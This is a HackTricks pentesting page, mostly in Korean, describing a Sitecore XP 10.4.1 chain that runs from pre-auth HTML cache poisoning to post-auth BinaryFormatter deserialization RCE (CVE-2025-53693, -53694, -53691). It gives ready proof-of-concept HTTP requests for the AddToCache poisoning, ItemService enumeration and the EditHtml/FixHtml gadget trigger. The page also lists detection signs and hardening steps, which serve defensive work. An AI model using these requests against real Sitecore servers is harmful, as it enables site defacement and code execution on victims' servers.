Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 7 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
이 페이지는 Sitecore XP 10.4.1에 대한 실용적인 공격 체인을 요약합니다. 이 체인은 pre‑auth XAML handler에서 HTML cache poisoning으로 전환하고, 인증된 UI 흐름을 통해 BinaryFormatter deserialization을 이용한 RCE로 이어집니다. 이 기법들은 유사한 Sitecore 버전/컴포넌트에 일반화되며 테스트, 탐지 및 보완을 위한 구체적인 프리미티브를 제공합니다.
- 영향 대상 제품(테스트): Sitecore XP 10.4.1 rev. 011628
- 수정 버전(패치): KB1003667, KB1003734 (June/July 2025)
참고:
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
진입점은 web.config에 등록된 pre‑auth XAML handler입니다:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
다음을 통해 접근 가능:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
컨트롤 트리에는 AjaxScriptManager가 포함되어 있으며, 이벤트 요청 시 공격자가 제어하는 필드를 읽어 대상 컨트롤의 메서드를 리플렉션으로 호출합니다:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
핵심 관찰: XAML 페이지에는 XmlControl 인스턴스(xmlcontrol:GlobalHeader)가 포함되어 있다. Sitecore.XmlControls.XmlControl는 Sitecore.Web.UI.WebControl(사이트코어 클래스)에서 파생되며, ReflectionUtil.Filter allow‑list (Sitecore.*)를 통과하여 Sitecore WebControl의 메서드를 사용할 수 있게 한다.
poisoning을 위한 매직 메서드:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
xmlcontrol:GlobalHeader를 대상으로 지정하고 Sitecore.Web.UI.WebControl 메서드를 이름으로 호출할 수 있기 때문에, pre‑auth 상태에서 임의의 HtmlCache write primitive를 얻을 수 있습니다.
PoC 요청 (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
노트:
- __SOURCE는 Sitecore.Shell.Xaml.WebControl 내부의 xmlcontrol:GlobalHeader의 clientID입니다 (정적 XAML에서 유래하므로 보통 ctl00_ctl00_ctl05_ctl03처럼 안정적입니다).
- __PARAMETERS 형식은 Method("arg1","arg2")입니다.
What to poison: Cache key construction
Sitecore controls에서 사용되는 일반적인 HtmlCache 키 구성:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
알려진 sublayout에 대한 예제 targeted poisoning:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
캐시 가능한 항목 및 “vary by” 차원 열거
ItemService가 (잘못) 익명으로 노출된 경우, 캐시 가능한 컴포넌트를 열거하여 정확한 키를 도출할 수 있다.
빠른 탐색:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
캐시 가능한 항목 및 플래그 목록:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate 같은 필드를 찾아보세요. 디바이스 이름은 다음을 통해 열거할 수 있습니다:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration under restricted identities (CVE-2025-53694)
ItemService가 제한된 계정(예: ServicesAPI)으로 위임되어 빈 Results 배열을 반환하더라도, TotalCount는 여전히 pre‑ACL Solr hits를 반영할 수 있습니다. 와일드카드를 사용해 item groups/ids를 brute‑force하면 TotalCount가 수렴하며 내부 콘텐츠 및 장치를 매핑하는 것을 관찰할 수 있습니다:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
인증 후 RCE: convertToRuntimeHtml의 BinaryFormatter sink (CVE-2025-53691)
Sink:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
Reachable via the convertToRuntimeHtml pipeline step ConvertWebControls, which looks for an element with id {iframeId}_inner and base64 decodes + deserializes it, then injects the resulting string into the HTML:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
트리거(인증된 상태, Content Editor 권한). FixHtml 대화상자가 convertToRuntimeHtml을 호출합니다. UI 클릭 없이 엔드투엔드:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
가젯 생성: ysoserial.net / YSoNet와 BinaryFormatter를 사용해 문자열을 반환하는 base64 페이로드를 생성한다. 해당 문자열의 내용은 deserialization 부작용이 실행된 후 ConvertWebControls에 의해 HTML에 기록된다.
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Complete chain
- Pre‑auth 공격자가 XAML AjaxScriptManager를 통해 WebControl.AddToCache를 리플렉티브하게 호출하여 HtmlCache를 임의의 HTML로 오염시킨다.
- 오염된 HTML은 인증된 Content Editor 사용자를 FixHtml 흐름으로 유도하는 JavaScript를 제공한다.
- FixHtml 페이지는 convertToRuntimeHtml → ConvertWebControls를 트리거하며, 이 과정에서 BinaryFormatter를 통해 공격자가 제어하는 base64를 deserialization하여 Sitecore 앱 풀 식별자로 RCE가 발생한다.
Detection
- Pre‑auth XAML:
/-/xaml/Sitecore.Shell.Xaml.WebControl
에 대한 요청에서__ISEVENT=1
, 의심스러운__SOURCE
및__PARAMETERS=AddToCache(...)
. - ItemService probing:
/sitecore/api/ssc
와일드카드 쿼리 급증, 빈Results
와 큰TotalCount
. - Deserialization attempts:
EditHtml.aspx
다음에FixHtml.aspx?hdl=...
호출 및 HTML 필드에 비정상적으로 큰 base64.
Hardening
- Apply Sitecore patches KB1003667 and KB1003734; gate/disable pre‑auth XAML handlers or add strict validation; monitor and rate‑limit
/-/xaml/
. - BinaryFormatter 제거/대체; convertToRuntimeHtml 접근 제한 또는 HTML 편집 흐름에 대한 강력한 서버 측 검증 시행.
/sitecore/api/ssc
를 loopback 또는 인증된 롤로만 제한;TotalCount
기반 side channels를 leak하는 impersonation 패턴을 피한다.- Content Editor 사용자에 대해 MFA/최소 권한 적용; cache poisoning으로 인한 JS 유도 영향을 줄이기 위해 CSP 검토.
References
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.